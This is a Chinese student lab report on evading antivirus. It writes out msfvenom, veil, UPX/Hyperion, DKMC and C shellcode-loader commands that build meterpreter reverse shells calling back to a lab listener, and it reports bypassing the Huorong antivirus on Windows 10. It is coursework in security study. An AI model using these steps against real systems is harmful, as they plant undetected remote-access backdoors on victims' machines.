20192424王昭雲實踐三免殺原理與實踐
Exp3 免殺原理與實踐(20192424王昭雲)
一、實踐要求
1. 方法
- ①正確使用msf編碼器
- ②msfvenom生成如jar之類的其他檔案
- ③veil
- ④加殼工具
- ⑤使用C + shellcode程式設計
- ⑥使用其他課堂未介紹方法
2. 通過組合應用各種技術實現惡意程式碼免殺
3. 用另一電腦實測,在殺軟開啟的情況下,可執行並回連成功,註明電腦的殺軟名稱與版本
二、實驗內容
②msfvenom生成如jar之類的其他檔案
-
生成Java檔案: msfvenom -p java/meterpreter/reverse_tcp LHOST=192.168.189.135 LPORT=1314 x> 20192424_ja.jar
-
可以觀察到,查殺率比簡單編碼方式要好些,但依然不樂觀
-
生成bash檔案: msfvenom -p cmd/unix/reverse_bash LHOST=192.168.189.135 LPORT=1314 -f raw > 20192424.sh
-
bash是Linux系統指令碼,在Windows下可能不會一般有人裝環境來實現執行bash,所以殺軟也不會記錄這種檔案,所以查殺率為0
③veil
-
veil的安裝明明簡單卻過於費心,可以在kali上線上安裝veil:sudo apt-get install veil-evasion
-
安裝完成後進入介面:veil
-
使用veil-evasion: use 1
-
可以觀察到我們有41個payload,可以使用list 檢視payload以及使用use 數字 選取對應的payload
-
選取 powershell/meterpreter/rev_tcp:use 22
-
設定反彈連線的引數:
-
ip: set LHOST 192.168.189.135
-
埠: set LPORT 1314
-
生成: generate
-
檔名: 20192424
-
對檔案掃描,結果還是不如人意
④加殼工具
-
對①中生成的程式進行壓縮殼upx加殼: upx 20192424cd2.exe -o 20192424cd2.upxed.exe
-
查殺如下
-
對①中生成的程式進行加密殼Hyperion加殼
-
將要加密的程式複製到hyperion資料夾中:cp 20192424cd2.exe /usr/share/windows-resources/hyperion/20192424cd2.exe
-
進入hyperion資料夾:cd /usr/share/windows-resources/hyperion/
-
對程式進行加密殼:wine hyperion.exe -v 20192424cd2.exe 20192424cd2.upxed.Hy.exe
-
-
查殺如下,有一定效果
⑥使用其他課堂未介紹方法
-
下面介紹的DKMC方法是一種未成功免殺的方法,具體方法參考教程
-
安裝DKMC: git clone https://github.com/Mr-Un1k0d3r/DKMC.git
-
使用Msf生成raw格式的shellcode: msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.189.135 LPORT=1314 -f raw > 1314
-
進入DKMC資料夾: cd /home/20192424wr/DKMC/
-
執行: python dkmc.py
-
在DKMC中輸入選項: sc
-
設定source: set source /home/20192424wr/1314
-
生成shellcode: run
-
返回主選單: exit
-
在DKMC中輸入選項: gen
-
設定shellcode: set shellcode .....(shellcode為run生成的shellcode)
-
生成影象: run
-
返回主選單: exit
-
在DKKMC中輸入選項: ps
-
設定url地址: set url http://192.168.189.135:8080/ .bmp(圖片名為gen生成的圖片名,可以手動重新命名)
-
生成bat檔案: run
-
返回主選單: exit
-
在DKKMC中輸入選項: web
-
設定埠: set port 8080
-
啟動web服務: run
-
啟動msfconsole
-
將生成的bat檔案在windows環境開啟(或者命令提示符直接輸入生成的powershell的程式碼)
-
這種方法不能免殺
-
關閉殺軟的情況下,能成功回連
-
這種將shellcode嵌入圖片,通過網路分發的方法是課堂上沒有提過的,失敗的原因可能是因為企圖呼叫powershell,而av和win10機制對這種行為極為敏感,所以難以達到免殺的目的,如果將檔案字尾名bat取消是可以從虛擬機器傳到windows的,火絨應該是沙盒運行了一遍bat檔案發現有埠被異常呼叫由此推測出是惡意程式碼。比如在windows接收檔案時沒有bat字尾,自己重新命名是不會被檢測出來的,除非執行程式。
①正確使用msf編碼器
-
(1)將上一個實驗中用msf生成的後門程式放到virustotal檢測,發現絕大多數的防毒軟體都可以辨別其為病毒,這類病毒幾乎可以說是出師未捷身先死,剛進入就被殺軟給殺掉了。
-
(2)接下來我們開始使用msf編碼器:
-
檢視可以進行的編碼型別: msfvenom --list encoders
-
使用 x86/shikata_ga_nai 方式進行編碼
-
1次編碼: msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai-b '\x00' LHOST=192.168.189.135 LPORT=1314 -f exe >20192424cd2.exe
-
8次編碼: msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 8 -b '\x00' LHOST=192.168.189.135 LPORT=1314 -f exe >20192424cd2.exe
-
將兩次編碼後的檔案放到virustotal檢測,結果依然沒有太大變化
-
綜上,僅通過編碼方式生成的payload是不可能做到免殺的
⑤使用C + shellcode程式設計
-
使用msfvenom生成shellcode: msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.189.135 LPORT=1314 -f c
-
新建一個1314sc.c檔案,將上面生成的buf[]代入,內部程式碼為:
include <stdio.h>
unsigned char buf[]=//生成的shellcode
int main()
{
int (func)()=(int()())buf;//呼叫shellcode
func();
} -
安裝mingw-w64: apt-get install mingw-w64
-
使用mingw-w64將c檔案生成exe檔案: i686-w64-mingw32-g++ 1314sc.c -o 1314sc.exe
-
對1314sc.exe檢測一下,效果不錯
-
按照實驗二步驟嘗試回連,發現回連成功,圖為與火絨同時存在被查殺的
-
這兩張圖為kali下沒使用火絨,使用火絨的截圖
2.通過組合應用各種技術實現惡意程式碼免殺&3.用另一電腦實測,在殺軟開啟的情況下,可執行並回連成功,註明電腦的殺軟名稱與版本
-
這是一種使用shellcode載入器的方法,具體步驟參考教程,shellcode載入器中效果最好使用較多的就是shellcode_launcher了(附上下載地址)
-
使用Msfvenom生成raw格式的shellcode: msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 6 -b '\x00' lhost=192.168.189.135 lport=1314 -f raw -o 20192424.raw
-
開啟msfconsole進行監聽:
-
use exploit/multi/handler //監聽設定payload set payload
-
set payload windows/meterpreter/reverse_tcp //使用與生成後門程式一樣的payload
-
set LHOST 192.168.189.135 //Linux端的IP地址
-
set LPORT 1314 //與之前輸入的埠號一致
-
exploit //開始監聽
-
在另一臺正常開啟殺軟的Windows命令提示符輸入: shellcode_launcher.exe -i 20192424.raw
-
觀察到成功回連,殺軟沒有查殺,且shellcode_launcher.exe和20192424.raw通過檢測
-
Windows版本:Windows 10, version 1909,殺軟:火絨5.0.40.12
三、基礎問題回答
1.殺軟是如何檢測出惡意程式碼的?
- (一)特徵程式碼法:該方法是目前防毒工具中必備的組成部分
- (二)校驗和法:檔案完整性保護,主要用於檢測系統檔案是否被篡改。
- (三)行為監測法:監測惡意程式碼執行時的行為特徵,可以識別惡意程式碼的名稱或者是種類,也可以檢測未知的惡意程式碼。
2.免殺是做什麼?
- 免殺是逃避防毒軟體的檢測,從而可以使其“正常執行”
3.免殺的基本方法有哪些?
- (1)採用不同的編碼方式,或者編碼次數
- (2)對編碼後生成的檔案進行加殼,加壓縮殼或者是加密殼
- (3)還可以使用反彈埠,一些防火牆不會對本機發出的請求進行過濾
4.開啟殺軟能絕對防止電腦中惡意程式碼嗎?
- 防毒軟體能提供可靠的下載源,能自動將下載軟體與官網的hash比對,只要我們正確使用防毒軟體,不去亂七八糟的網頁下載檔案,合理開啟防火牆,對防毒軟體警告的網頁不輕易開啟,就能防範大多數病毒。只要不亂下不明渠道的程式,怎麼會中毒呢?黑客的盡頭還得是社會工程學。